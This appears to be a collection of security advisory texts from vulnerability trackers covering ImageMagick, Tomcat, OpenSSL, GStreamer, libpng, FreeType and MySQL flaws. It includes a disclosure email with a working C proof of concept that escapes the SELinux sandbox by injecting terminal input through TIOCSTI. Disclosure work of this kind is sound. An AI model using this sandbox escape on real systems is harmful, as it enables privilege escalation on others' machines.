The (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image.

The EPHEMERAL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to delete arbitrary files via a crafted image.

It was discovered that the Tomcat packages installed certain configuration files read by the Tomcat initialization script as writeable to the tomcat group. A member of the group or a malicious web application deployed on Tomcat could use this flaw to escalate their privileges.

Apache Tomcat 7.x through 7.0.70 and 8.x through 8.5.4, when the CGI Servlet is enabled, follows RFC 3875 section 4.1.18 and therefore does not protect applications from the presence of untrusted client data in the HTTPPROXY environment variable, which might allow remote attackers to redirect an application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an "httpoxy" issue. NOTE: the vendor states "A mitigation is planned for future releases of Tomcat, tracked as CVE-2016-5388"; in other words, this is not a CVE ID for a vulnerability.

A flaw was found in the way OpenSSL encoded certain ASN.1 data structures. An attacker could use this flaw to create a specially crafted certificate which, when verified or re-encoded by OpenSSL, could cause it to crash, or execute arbitrary code using the permissions of the user running an application compiled against the OpenSSL library.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via the startline parameter.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) by providing a 'skip count' that goes beyond initialized buffer.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

Heap-based buffer overflow in the flxdecodedeltafli function in gst/flx/gstflxdec.c in the FLIC decoder in GStreamer before 1.10.2 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) by providing a 'write count' that goes beyond the initialized buffer.

An underflow read was found in pngcheckkeyword in pngwutil.c in libpng-1.2.54:

If the data of "key" is only ' ' (0x20), it will read a byte before the buffer in line 1288.

This issue impacts upstream versions 1.2.55, 1.0.65, 1.4.18, and 1.5.25 of libpng.

An attacker could possibly use this flaw to cause an out-of-bounds read by tricking an unsuspecting user into processing a specially crafted PNG image.

bdf/bdflib.c in FreeType before 2.5.4 identifies property names by only verifying that an initial substring is present, which allows remote attackers to discover heap pointer values and bypass the ASLR protection mechanism via a crafted BDF font.

Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.1.61 and earlier, and 5.5.21 and earlier, allows remote authenticated users to affect availability via unknown vectors related to Server Optimizer, a different vulnerability than CVE-2012-1690.

Integer signedness error in the MacReadPOSTResource function in base/ftobjs.c in FreeType before 2.5.4 allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via a crafted Mac font.

The MacReadPOSTResource function in base/ftobjs.c in FreeType before 2.5.4 proceeds with adding to length values without validating the original values, which allows remote attackers to cause a denial of service (integer overflow and heap-based buffer overflow) or possibly have unspecified other impact via a crafted Mac font.

The ttfaceloadhdmx function in truetype/ttpload.c in FreeType before 2.5.4 does not establish a minimum record size, which allows remote attackers to cause a denial of service (out-of-bounds read) or possibly have unspecified other impact via a crafted TrueType font.
